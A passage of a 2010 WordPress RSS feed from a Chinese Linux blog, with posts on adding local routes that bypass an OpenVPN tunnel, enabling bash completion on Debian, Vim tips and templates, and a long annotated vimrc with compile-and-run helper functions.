		<dc:creator>a18ccms</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[openvpn]]></category>
		<category><![CDATA[本地]]></category>
		<category><![CDATA[路由]]></category>

		<guid isPermaLink="false">http://a18zhizao.com/?p=1327</guid>
		<description><![CDATA[1. 在OpenVPN配置文件中增加 OpenVPN在连接成功之后会自动增加一些路由，把默认网关改成VPN的，使所有流量都从VPN走。OpenVPN提供了在配置文件中添加路由的功能，我们可以增加一些本地路由，使本地流量不走VPN，既节省了流量（如果限流量的话），又提高了上网的速度。 打开sample.ovpn配置文件，在文件末尾添加即可，如果添加的路由数目超过100条，则要加一句 max-routes ，如下所示： max-routes 1000 route 58.17.0.0 255.255.0.0 net_gateway route 58.18.0.0 255.254.0.0 net_gateway route 58.20.0.0 255.255.0.0 net_gateway route 58.24.0.0 255.254.0.0 net_gateway route 58.30.12.136 255.255.255.255 net_gateway route 58.32.232.0 255.255.252.0 net_gateway route 58.53.208.0 255.255.240.0 net_gateway route 58.59.1.15 255.255.255.255 net_gateway route 58.59.1.16 255.255.255.254 net_gateway route 58.59.128.0 255.255.128.0 net_gateway route 58.60.8.0 255.255.248.0 net_gateway route 58.60.112.239 255.255.255.255 [...]]]></description>
			<content:encoded><![CDATA[<h3>1. 在OpenVPN配置文件中增加</h3>
<p>OpenVPN在连接成功之后会自动增加一些路由，把默认网关改成VPN的，使所有流量都从VPN走。OpenVPN提供了在配置文件中添加路由的功能，我们可以增加一些本地路由，使本地流量不走VPN，既节省了流量（如果限流量的话），又提高了上网的速度。<br />
<span id="more-1327"></span><br />
打开sample.ovpn配置文件，在文件末尾添加即可，如果添加的路由数目超过100条，则要加一句 max-routes ，如下所示：</p>
<blockquote><p>max-routes 1000<br />
route 58.17.0.0 255.255.0.0 net_gateway<br />
route 58.18.0.0 255.254.0.0 net_gateway<br />
route 58.20.0.0 255.255.0.0 net_gateway<br />
route 58.24.0.0 255.254.0.0 net_gateway<br />
route 58.30.12.136 255.255.255.255 net_gateway<br />
route 58.32.232.0 255.255.252.0 net_gateway<br />
route 58.53.208.0 255.255.240.0 net_gateway<br />
route 58.59.1.15 255.255.255.255 net_gateway<br />
route 58.59.1.16 255.255.255.254 net_gateway<br />
route 58.59.128.0 255.255.128.0 net_gateway<br />
route 58.60.8.0 255.255.248.0 net_gateway<br />
route 58.60.112.239 255.255.255.255 net_gateway<br />
route 58.61.32.0 255.255.254.0 net_gateway<br />
route 58.61.34.0 255.255.255.0 net_gateway<br />
………………</p></blockquote>
<p>这样，OpenVPN连接成功之后就会添加这些路由，达到本地地址走本地接口的目的。</p>
<p>附：<a href="http://kangzj.net/upload/freeip.txt">教育网freeip.txt</a> <a href="http://ftp.apnic.net/apnic/dbase/data/country-ipv4.lst">中国IP地址分配列表</a></p>
<h3>2. 利用route add命令添加</h3>
<p>route add是dos命令，用以添加路由的，只要我们执行下就OK了，命令格式如下：</p>
<blockquote><p>route add 110.6.0.0 mask 255.254.0.0 %gw% metric 5<br />
route add 110.16.0.0 mask 255.252.0.0 %gw% metric 5<br />
route add 110.40.0.0 mask 255.252.0.0 %gw% metric 5<br />
route add 110.48.0.0 mask 255.255.0.0 %gw% metric 5<br />
route add 110.51.0.0 mask 255.255.0.0 %gw% metric 5<br />
route add 110.52.0.0 mask 255.254.0.0 %gw% metric 5<br />
route add 110.56.0.0 mask 255.248.0.0 %gw% metric 5<br />
route add 110.64.0.0 mask 255.254.0.0 %gw% metric 5<br />
route add 110.72.0.0 mask 255.254.0.0 %gw% metric 5</p>
<p>………………………</p></blockquote>
<p><strong>这种方法对其它各类的VPN应该是通用的。</strong></p>
<p>附：<a href="http://chnroutes.googlecode.com/files/pre_created_for_win.zip">国内IP地址路由</a></p>
<h3>3. 第三种方式chnroutes</h3>
<p>在OpenVPN中调用.bat批处理文件来添加路由，我实验的不太成功，有兴趣的可以参照：<a href="http://code.google.com/p/chnroutes">http://code.google.com/p/chnroutes</a> 。</p>
<p>via： <a href="http://kangzj.net/how-to-add-local-route-for-openvpn/">OpenVPN添加本地路由方法</a></p>
]]></content:encoded>
			<wfw:commentRss>http://a18zhizao.com/y2010/1327_openvpn-add-local-routing.html/feed</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Add Bash Completion In Debian</title>
		<link>http://a18zhizao.com/y2010/1326_add-bash-completion-in-debian.html</link>
		<comments>http://a18zhizao.com/y2010/1326_add-bash-completion-in-debian.html#comments</comments>
		<pubDate>Tue, 16 Mar 2010 01:05:24 +0000</pubDate>
		<dc:creator>a18ccms</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[bash]]></category>
		<category><![CDATA[completion]]></category>
		<category><![CDATA[debian]]></category>

		<guid isPermaLink="false">http://a18zhizao.com/?p=1326</guid>
		<description><![CDATA[Bash completion is a useful tool for completion of file paths, commands etc. By default it is enabled on Ubuntu but not on Debian. With two simple steps it can also be enabled on Debian. 1. Install bash-completion First of all we need the install the according package: apt-get install bash-completion 2. Add it to [...]]]></description>
			<content:encoded><![CDATA[<p>Bash completion is a useful tool for completion of file paths, commands etc. By default it is enabled on Ubuntu but not on Debian. With two simple steps it can also be enabled on Debian.</p>
<p>1. Install bash-completion</p>
<p>First of all we need the install the according package:<br />
<span id="more-1326"></span><br />
<code>apt-get install bash-completion</code></p>
<p>2. Add it to the bash profile</p>
<p>Either edit the ~/.bash_profile file to enable it only for a given user or edit /etc/profile to add it system-wide. Add the following code:</p>
<pre class="brush: bash; title: ; notranslate">
if [ -f /etc/bash_completion ]; then
 . /etc/bash_completion
fi
</pre>
<p>3. Try it<br />
In order for it to work you have to log out and relogin and then you can make use of bash completion the usual way. E.g. issue:</p>
<p><code>apt-g</code></p>
<p>and then press the TAB key once and the command will be completed to apt-get. Or issue this:</p>
<p><code>apt</code></p>
<p>and then press TAB key twice. You can also try with</p>
<p><code>apt-get install apa</code></p>
<p>and then press TAB key once to complete as far as possible and a second time to list all options.</p>
]]></content:encoded>
			<wfw:commentRss>http://a18zhizao.com/y2010/1326_add-bash-completion-in-debian.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Vim关于编码主题模板的技巧</title>
		<link>http://a18zhizao.com/y2010/1323_vim-on-the-theme-of-templates-coding-techniques.html</link>
		<comments>http://a18zhizao.com/y2010/1323_vim-on-the-theme-of-templates-coding-techniques.html#comments</comments>
		<pubDate>Fri, 12 Mar 2010 02:49:42 +0000</pubDate>
		<dc:creator>a18ccms</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[vim]]></category>
		<category><![CDATA[主题]]></category>
		<category><![CDATA[模板]]></category>
		<category><![CDATA[编码]]></category>

		<guid isPermaLink="false">http://a18zhizao.com/?p=1323</guid>
		<description><![CDATA[vim Vim Tips 本来就想看看完事。可是这个blog只让非ie用户打开。麻烦~ 曾经很长一段时间都是在用Quanta Plus/Kwrite来写代码，Quanta Plus好在自动补充和标签页，而Kwrite好在轻便而有功能齐全。后来因为要对代码做批处理，于是慢慢转移到vim这款*nix下最强大的编辑器下来了，以至于现在几乎100%的时间都是用vim来写代码，包括在blogbus里给blogbus hack写日志。总结了一些我在用g?Vim过程中的tips: 自动识别各种中文编码 在.vimrc文件里加入这句，基本上所有中文编码都没问题了，包括繁体中文 粘贴文本格式乱了? 写代码时经常要从网页上或其他地方粘贴点代码过来用，但是一贴进vim里格式就乱了怎么办?.vimrc里加入这两句: 以上代码的作用是当你需要粘贴代码时先按下F10进入切换到paste，这时再粘贴进去就不会有问题了。为什么不直接设置set paste呢? 因为set paste在gVIM下可能会导致工具栏里的粘贴键失效。 推荐在gVIM下使用desert主题 desert是gVIM下一个非常candy的代码高亮主题，也是我目前看过的最舒服的高亮显示环境了。Gentoo里的vim默认就附带了这个主题，启用它只需要设置: 就行了，如果没有这款主题的话，在此下载后将其放到~/.vim/colors目录下再启用就是了。 看起来不是一般的舒服啊 :D 映射常有按键 习惯了Ctrl+V, Ctrl+S的文本编辑模式? 习惯了Ctrl+T, Ctrl+Tab…的Firefox标签工作模式? 将以下代码贴如你的.vimrc中就是了! 自动创建模板 用过Gentoo的都知道，如果输入vim package.ebuild，系统会根据文件后缀名自动创建一个最基本的 ebuild文件模板，以节省编写时间。同样，可以把这招扩展到任意格式的文件下来，以html格式为例，先创建一个名为 skeleton.html(Whatever you like)的基础模板: 然后把文件放到~/.vim/skeleton/下，在.vimrc中加入这句: 以后用vim创建以html为后缀的任意文件时都会直接套用该模板并将光标直接跳到&#60;body&#62; (13G)内。 好用的插件 SuperTab 根据你已输入过的内容，按Tab键时实现自动补充 NERD Commenter 强悍的注释插件，支持N种格式的注释(真的是NNN种啊!)]]></description>
			<content:encoded><![CDATA[<p>vim <a href="http://blog.punkid.org/2007/12/09/vim-tips/">Vim Tips</a><br />
本来就想看看完事。可是这个blog只让非ie用户打开。麻烦~<br />
   曾经很长一段时间都是在用Quanta Plus/Kwrite来写代码，Quanta Plus好在自动补充和标签页，而Kwrite好在轻便而有功能齐全。后来因为要对代码做批处理，于是慢慢转移到vim这款*nix下最强大的编辑器下来了，以至于现在几乎100%的时间都是用vim来写代码<span id="more-1323"></span>，包括在blogbus里给<a title="blogbus hack" href="http://blogbus-hack.blogbus.com/">blogbus hack</a>写日志。总结了一些我在用g?Vim过程中的tips:</p>
<h3>自动识别各种中文编码</h3>
<p>在<code>.vimrc</code>文件里加入这句，基本上所有中文编码都没问题了，包括繁体中文</p>
<pre class="brush: bash; title: ; notranslate">set fileencodings=ucs-bom,utf8,GB18030,Big5,latin1</pre>
<h3>粘贴文本格式乱了?</h3>
<p>写代码时经常要从网页上或其他地方粘贴点代码过来用，但是一贴进vim里格式就乱了怎么办?<code>.vimrc</code>里加入这两句:</p>
<pre class="brush: bash; title: ; notranslate">set nopaste
set pastetoggle=&lt;F10&gt;</pre>
<p>以上代码的作用是当你需要粘贴代码时先按下F10进入切换到<code>paste</code>，这时再粘贴进去就不会有问题了。为什么不直接设置<code>set paste</code>呢? 因为<code>set paste</code>在gVIM下可能会导致工具栏里的粘贴键失效。</p>
<h3>推荐在gVIM下使用desert主题</h3>
<p>desert是gVIM下一个非常candy的代码高亮主题，也是我目前看过的最舒服的高亮显示环境了。Gentoo里的vim默认就附带了这个主题，启用它只需要设置:</p>
<pre class="brush: bash; title: ; notranslate">colorscheme desert</pre>
<p>就行了，如果没有这款主题的话，在<a title="desert.vim : A dark-background color scheme inspired by my  hometown of Santa Fe, New Mexico " href="http://www.vim.org/scripts/script.php?script_id=105">此</a>下载后将其放到<code>~/.vim/colors</code>目录下再启用就是了。</p>
<p>看起来不是一般的舒服啊 :D</p>
<h3>映射常有按键</h3>
<p>习惯了Ctrl+V, Ctrl+S的文本编辑模式? 习惯了Ctrl+T, Ctrl+Tab…的Firefox标签工作模式? 将以下代码贴如你的<code>.vimrc</code>中就是了!</p>
<pre class="brush: bash; title: ; notranslate">&quot; 映射Ctrl+V键粘贴内容
nmap &lt;silent&gt; &lt;C-v&gt; :set paste&lt;CR&gt;&quot;*p:set nopaste&lt;CR&gt; 

&quot; Ctrl+S实现保存，如果未命名文件名会提示你选择保存路径和文件名
if has(&quot;gui_running&quot;)
  :map &lt;silent&gt; &lt;C-S&gt; :if expand(&quot;%&quot;) == &quot;&quot;&lt;CR&gt;:browse confirm w&lt;CR&gt;:else&lt;CR&gt;:confirm w&lt;CR&gt;:endif&lt;CR&gt;
endif

&quot; Ctrl+A实现全选
map &lt;C-a&gt; ggVG

&quot; Map the hotkeys working like firefox!
if has(&quot;gui_running&quot;)
  :map &lt;silent&gt;&lt;C-t&gt; : tabnew&lt;CR&gt; &quot; Ctrl+T新建标签页
  :map &lt;silent&gt;&lt;C-Tab&gt; : tabnext&lt;CR&gt; &quot;Ctrl+Tab切换标签页
  :map &lt;silent&gt;&lt;C-w&gt; : close&lt;CR&gt; &quot;Ctrl+W关闭当前标签页
endif
</pre>
<h3>自动创建模板</h3>
<p>用过Gentoo的都知道，如果输入<code>vim package.ebuild</code>，系统会根据文件后缀名自动创建一个最基本的 ebuild文件模板，以节省编写时间。同样，可以把这招扩展到任意格式的文件下来，以html格式为例，先创建一个名为 skeleton.html(Whatever you like)的基础模板:</p>
<pre class="brush: xml; title: ; notranslate">&lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Transitional//EN &quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&gt;
&lt;html xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;
&lt;head&gt;
	&lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html;charset=utf-8&quot; /&gt;
	&lt;meta name=&quot;description&quot; content=&quot;&quot; /&gt;
	&lt;meta name=&quot;keywords&quot; content=&quot;&quot; /&gt;
	&lt;title&gt;&lt;/title&gt;
	&lt;style type=&quot;text/css&quot;&gt;
		body {font: 12px Verdana,&amp;#39;Lucida Grande&amp;#39;,Sans-Serif;}
	&lt;/style&gt;
&lt;/head&gt;
&lt;body&gt;

&lt;/body&gt;
&lt;/html&gt;
</pre>
<p>然后把文件放到<code>~/.vim/skeleton/</code>下，在<code>.vimrc</code>中加入这句:</p>
<pre class="brush: bash; title: ; notranslate">au BufNewFile *.html 0r ~/.vim/skeleton/skeleton.html|norm 13G</pre>
<p>以后用vim创建以html为后缀的任意文件时都会直接套用该模板并将光标直接跳到<code>&lt;body&gt;</code> (13G)内。</p>
<h3>好用的插件</h3>
<p><a title="SuperTab" href="http://www.vim.org/scripts/script.php?script_id=1643">SuperTab</a> 根据你已输入过的内容，按Tab键时实现自动补充<br />
<a title="NERD Commenter" href="http://www.vim.org/scripts/script.php?script_id=1218">NERD Commenter</a> 强悍的注释插件，支持N种格式的注释(真的是NNN种啊!)</p>
]]></content:encoded>
			<wfw:commentRss>http://a18zhizao.com/y2010/1323_vim-on-the-theme-of-templates-coding-techniques.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>优秀Vimrc备份</title>
		<link>http://a18zhizao.com/y2010/1322_excellent-vimrc-backup.html</link>
		<comments>http://a18zhizao.com/y2010/1322_excellent-vimrc-backup.html#comments</comments>
		<pubDate>Fri, 12 Mar 2010 01:45:12 +0000</pubDate>
		<dc:creator>a18ccms</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[vim]]></category>
		<category><![CDATA[配置]]></category>

		<guid isPermaLink="false">http://a18zhizao.com/?p=1322</guid>
		<description><![CDATA[非常优秀的vimrc设置。反正我很喜欢 文件下载： 点击下载]]></description>
			<content:encoded><![CDATA[<p>非常优秀的vimrc设置。反正我很喜欢<br />
<span id="more-1322"></span></p>
<pre class="brush: bash; title: ; notranslate">
&quot; An example for a vimrc file.
&quot;
&quot; Maintainer: a18ccms &lt;a18ccms@gmail.com&gt;
&quot; Last change: 2010 03 12
&quot;
&quot; To use it, copy it to
&quot; for Unix and OS/2: ~/.vimrc
&quot; for Amiga: s:.vimrc
&quot; for MS-DOS and Win32: $VIM\_vimrc
&quot; for OpenVMS: sys$login:.vimrc

&quot; When started as &quot;evim&quot;, evim.vim will already have done these settings.
if v:progname =~? &quot;evim&quot;
finish
endif

set history=50   &quot; keep 50 lines of command line history
set showcmd   &quot; display incomplete commands

&quot; For Win32 GUI: remove 't' flag from 'guioptions': no tearoff menu entries
&quot; let &amp;guioptions = substitute(&amp;guioptions, &quot;t&quot;, &quot;&quot;, &quot;g&quot;)

&quot; Don't use Ex mode, use Q for formatting
map Q gq

&quot; Convenient command to see the difference between the current buffer and the
&quot; file it was loaded from, thus the changes you made.
command DiffOrig vert new | set bt=nofile | r # | 0d_ | diffthis
\ | wincmd p | diffthis
\ | wincmd p | diffthis

set guioptions-=T

&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;
&quot; 一般设定
&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;
&quot; 设定默认解码
set encoding=utf-8
set fileencodings=utf-8,chinese,latin-1
if has(&quot;win32&quot;)
set fileencoding=chinese
else
set fileencoding=utf-8
endif
language message zh_CN.utf-8
&quot;解决菜单乱码
source $VIMRUNTIME/delmenu.vim
source $VIMRUNTIME/menu.vim
&quot;set font
&quot;set guifont=Nsimsun

&quot;设置窗口大小
set lines=35
set columns=120

&quot; 不要使用vi的键盘模式，而是vim自己的
&quot;set nocompatible

&quot; 在处理未保存或只读文件的时候，弹出确认
set confirm

&quot; 与windows共享剪贴板
set clipboard+=unnamed

&quot; 侦测文件类型
filetype on

&quot; 载入文件类型插件
filetype plugin on

&quot; 为特定文件类型载入相关缩进文件
filetype indent on

&quot; 带有如下符号的单词不要被换行分割
set iskeyword+=_,$,@,%,#,-

&quot; 语法高亮
syntax on

&quot; 高亮字符，让其不受100列限制
:highlight OverLength ctermbg=red ctermfg=white guibg=red guifg=white
:match OverLength '\%101v.*'

&quot; 状态行颜色
highlight StatusLine guifg=SlateBlue guibg=Yellow
highlight StatusLineNC guifg=Gray guibg=White

&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;
&quot; 文件设置
&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;
&quot; 不要备份文件（根据自己需要取舍）
set nobackup

&quot; 不要生成swap文件，当buffer被丢弃的时候隐藏它
setlocal noswapfile
set bufhidden=hide

&quot; 字符间插入的像素行数目
set linespace=0

&quot; 增强模式中的命令行自动完成操作
set wildmenu

&quot; 在状态行上显示光标所在位置的行号和列号
set ruler
set rulerformat=%20(%2*%&lt;%f%=\ %m%r\ %3l\ %c\ %p%%%)

&quot; 命令行（在状态行下）的高度，默认为1，这里是2
set cmdheight=2

&quot; 使回格键（backspace）正常处理indent, eol, start等
set backspace=2

&quot; 允许backspace和光标键跨越行边界
set whichwrap+=&lt;,&gt;,h,l

&quot; 可以在buffer的任何地方使用鼠标（类似office中在工作区双击鼠标定位）
set mouse=a
set selection=exclusive
set selectmode=mouse,key

&quot; 启动的时候不显示那个援助索马里儿童的提示
set shortmess=atI

&quot; 通过使用: commands命令，告诉我们文件的哪一行被改变过
set report=0

&quot; 不让vim发出讨厌的滴滴声
set noerrorbells

&quot; 在被分割的窗口间显示空白，便于阅读
set fillchars=vert:\ ,stl:\ ,stlnc:\

&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;
&quot; 搜索和匹配
&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;
&quot; 高亮显示匹配的括号
set showmatch

&quot; 匹配括号高亮的时间（单位是十分之一秒）
set matchtime=5

&quot; 在搜索的时候忽略大小写
set ignorecase

&quot; 高亮被搜索的句子（phrases）
set hlsearch

&quot; 在搜索时，输入的词句的逐字符高亮（类似firefox的搜索）
set incsearch

&quot; 输入:set list命令是应该显示些啥？
set listchars=tab:\|\ ,trail:.,extends:&gt;,precedes:&lt;,eol:$

&quot; 光标移动到buffer的顶部和底部时保持3行距离
set scrolloff=3

&quot; 不要闪烁
set novisualbell

&quot; 我的状态行显示的内容（包括文件类型和解码）
set statusline=%F%m%r%h%w\ [FORMAT=%{&amp;ff}]\ [TYPE=%Y]\ [POS=%l,%v][%p%%]\ %{strftime(\&quot;%d/%m/%y\ -\ %H:%M\&quot;)}

&quot; 总是显示状态行
set laststatus=2

&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;
&quot; 文本格式和排版
&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;
&quot; 自动格式化
set formatoptions=tcrqn

&quot; 继承前一行的缩进方式，特别适用于多行注释
set autoindent

&quot; 为C程序提供自动缩进
set smartindent

&quot; 使用C样式的缩进
set cindent

&quot; 制表符为4
set tabstop=4

&quot; 统一缩进为4
set softtabstop=4
set shiftwidth=4

&quot; 不要用空格代替制表符
set noexpandtab

&quot; 不要换行
set nowrap

&quot; 在行和段开始处使用制表符
set smarttab

&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;
&quot; Autocommands
&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;
&quot; 只在下列文件类型被侦测到的时候显示行号，普通文本文件不显示

if has(&quot;autocmd&quot;)
   autocmd FileType xml,html,c,cs,java,perl,shell,bash,cpp,python,vim,php,ruby set number
   autocmd FileType xml,html vmap &lt;C-o&gt; &lt;ESC&gt;'&lt;i&lt;!--&lt;ESC&gt;o&lt;ESC&gt;'&gt;o--&gt;
   autocmd FileType java,c,cpp,cs vmap &lt;C-o&gt; &lt;ESC&gt;'&lt;o
   autocmd FileType html,text,php,vim,c,java,xml,bash,shell,perl,python setlocal textwidth=100
   autocmd Filetype html,xml,xsl source $VIMRUNTIME/plugin/closetag.vim
   autocmd BufReadPost *
      \ if line(&quot;'\&quot;&quot;) &gt; 0 &amp;&amp; line(&quot;'\&quot;&quot;) &lt;= line(&quot;$&quot;) |
      \   exe &quot;normal g`\&quot;&quot; |
      \ endif
endif &quot; has(&quot;autocmd&quot;)

&quot;设置Java代码的自动补全
au FileType java setlocal omnifunc=javacomplete#Complete

let mapleader = &quot;.&quot;
&quot;绑定自动补全的快捷键&lt;C-X&gt;&lt;C-O&gt;到&lt;leader&gt;;
imap &lt;leader&gt;; &lt;C-X&gt;&lt;C-O&gt;

&quot;设定开关Taglist插件的快捷键为F4，可以在VIM的左侧栏列出函数列表等
map &lt;F4&gt; :Tlist&lt;CR&gt;

&quot;设置程序的编译运行和调试的快捷键F5，F6，Ctrl-F5
map &lt;F5&gt; :call CompileRun()&lt;CR&gt;
map &lt;C-F5&gt; :call Debug()&lt;CR&gt;
map &lt;F6&gt; :call Run()&lt;CR&gt;

&quot;设置代码格式化快捷键F3
map &lt;F3&gt; :call FormartSrc()&lt;CR&gt;

&quot;设置tab操作的快捷键，绑定:tabnew到&lt;leader&gt;t，绑定:tabn, :tabp到&lt;leader&gt;n,
&quot;&lt;leader&gt;p
map &lt;leader&gt;t :tabnew&lt;CR&gt;
map &lt;leader&gt;n :tabn&lt;CR&gt;
map &lt;leader&gt;p :tabp&lt;CR&gt;

&quot;用cscope支持
&quot;set csprg=d:\bin\cscope

&quot;使用&lt;leader&gt;e打开当前文件同目录中的文件
if has(&quot;unix&quot;)
map ,e :e &lt;C-R&gt;=expand(&quot;%:p:h&quot;) . &quot;/&quot; &lt;CR&gt;
else
map ,e :e &lt;C-R&gt;=expand(&quot;%:p:h&quot;) . &quot;\&quot; &lt;CR&gt;
endif

&quot;定义CompileRun函数，用来调用进行编译和运行
func CompileRun()
exec &quot;w&quot;
&quot;C程序
if &amp;filetype == 'c'
exec &quot;!del %&lt;.exe&quot;
exec &quot;!gcc % -o %&lt;.exe&quot;
exec &quot;!%&lt;.exe&quot;
elseif &amp;filetype == 'cpp'
exec &quot;!del %&lt;.exe&quot;
exec &quot;!g++ % -o %&lt;.exe&quot;
exec &quot;!%&lt;.exe&quot;
&quot;Java程序
elseif &amp;filetype == 'java'
exec &quot;!del %&lt;.class&quot;
exec &quot;!javac %&quot;
exec &quot;!java %&lt;&quot;
endif
endfunc
&quot;结束定义CompileRun

&quot;定义Run函数，用来调用进行编译和运行
func Run()
exec &quot;w&quot;
&quot;C程序
if &amp;filetype == 'c'
exec &quot;!%&lt;.exe&quot;
elseif &amp;filetype == 'cpp'
exec &quot;!%&lt;.exe&quot;
&quot;Java程序
elseif &amp;filetype == 'java'
exec &quot;!java %&lt;&quot;
endif
endfunc
&quot;结束定义Run

&quot;定义Debug函数，用来调试程序
func Debug()
exec &quot;w&quot;
&quot;C程序
if &amp;filetype == 'c'
exec &quot;!del %&lt;.exe&quot;
exec &quot;!gcc % -g -o %&lt;.exe&quot;
exec &quot;!gdb %&lt;.exe&quot;
elseif &amp;filetype == 'cpp'
exec &quot;!del %&lt;.exe&quot;
exec &quot;!g++ % -g -o %&lt;.exe&quot;
exec &quot;!gdb %&lt;.exe&quot;
&quot;Java程序
exec &quot;!del %&lt;.class&quot;
elseif &amp;filetype == 'java'
exec &quot;!javac %&quot;
exec &quot;!jdb %&lt;&quot;
endif
endfunc
&quot;结束定义Debug
&quot;定义FormartSrc()
func FormartSrc()
exec &quot;w&quot;
&quot;C程序,Perl程序,Python程序
if &amp;filetype == 'c'
exec &quot;!astyle --style=gnu --suffix=none %&quot;
exec &quot;e! %&quot;
elseif &amp;filetype == 'cpp'
exec &quot;!astyle --style=gnu --suffix=none %&quot;
exec &quot;e! %&quot;
elseif &amp;filetype == 'perl'
exec &quot;!astyle --style=gnu --suffix=none %&quot;
exec &quot;e! %&quot;
elseif &amp;filetype == 'py'
exec &quot;!astyle --style=gnu --suffix=none %&quot;
exec &quot;e! %&quot;
&quot;Java程序
elseif &amp;filetype == 'java'
exec &quot;!astyle --style=java --suffix=none %&quot;
exec &quot;e! %&quot;
elseif &amp;filetype == 'jsp'
exec &quot;!astyle --style=gnu --suffix=none %&quot;
exec &quot;e! %&quot;
elseif &amp;filetype == 'xml'
exec &quot;!astyle --style=gnu --suffix=none %&quot;
exec &quot;e! %&quot;
